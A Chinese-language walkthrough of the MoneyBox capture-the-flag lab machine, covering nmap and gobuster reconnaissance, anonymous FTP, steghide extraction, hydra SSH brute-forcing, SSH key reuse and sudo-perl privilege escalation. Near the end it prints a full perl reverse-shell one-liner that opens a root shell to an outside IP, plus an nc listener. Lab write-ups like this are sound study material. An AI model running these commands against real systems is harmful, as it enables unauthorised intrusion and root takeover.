一、搜集信息
1、搭建好 MoneyBox 的靶机后,由于是桥接网络,用 nmap 扫描网段
nmap 10.77.192.0/24
发现目标为 10.77.192.219 继续搜集信息
nmap -sV -A 10.77.192.219
发现可以匿名 ftp 登录和开放了 80 端口还有 ssh
进网站看看有什么线索 记得看看源码(ctrl + u)
没发现什么有用的
gobuster 扫描一下网站的目录
发现 blogs 路径
继续查看该路径以及其源码
源码提示
访问该路径以及源码
发现一个密钥
二、尝试 FTP 匿名登录
用户名:Anonymous 或者 ftp
密码直接回车
kali 连接的话要开始 passive 模式 不然命令无回显 windows 则不用
发现有个图片 进行 get trytofind.jpg 进行下载
查看图片 以及其源码没有什么发现
经过一番百度 发现存在文件可以被隐藏在图片里面
使用 steghide 来提取 (steghide --help 查看命令使用)
输入密钥(刚才网页源码搜集到的源码)
查看 data.txt
发现用户名为 renu 应该是 ssh 服务的用户
用 hydra 进行爆破 ssh 密码
hydra -l renu -P /usr/share/wordlists/rockyou.txt 10.77.192.219 ssh
使用 renu 进行 ssh 登录
发现 user1.txt 的 flag1
三、提权
先看看 id 和系统版本
查看 /etc/passwd 正常权限
除了 renu 和 root 还发现一个 lily 用户
继续查看 /home/lily 目录发现 user2.txt 和 flag2
尝试有没有 suid 进行提权
sudo -l 查看有没有什么可用的 并没有
发现 lily 目录下
这一步不太理解 学到了
history
更好的是通过查看 history 进行找线索
发现 lily 有 ssh 登录过
发现 lily 的 authorized_keys 存在 renu 的公钥,因此renu可以直接通过ssh登陆到lily账号。
因为是本机用户直接 127.0.0.1 不用输入密码
ssh lily@127.0.0.1
查看一下 lily 用户的 sudo 信息
不用密码即可 sudo 使用 perl 程序
可以直接利用 getshell
发现 root.txt
或者反弹 shell (这个方法不知道我哪里出了问题 监听不到)
sudo perl -e 'use Socket;$i="192.168.23.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
在 kali 上进行监听
nc -lnvp 5555 or nc 10.77.192.219 5555
参考:
money box 靶机详细教程
money box 靶机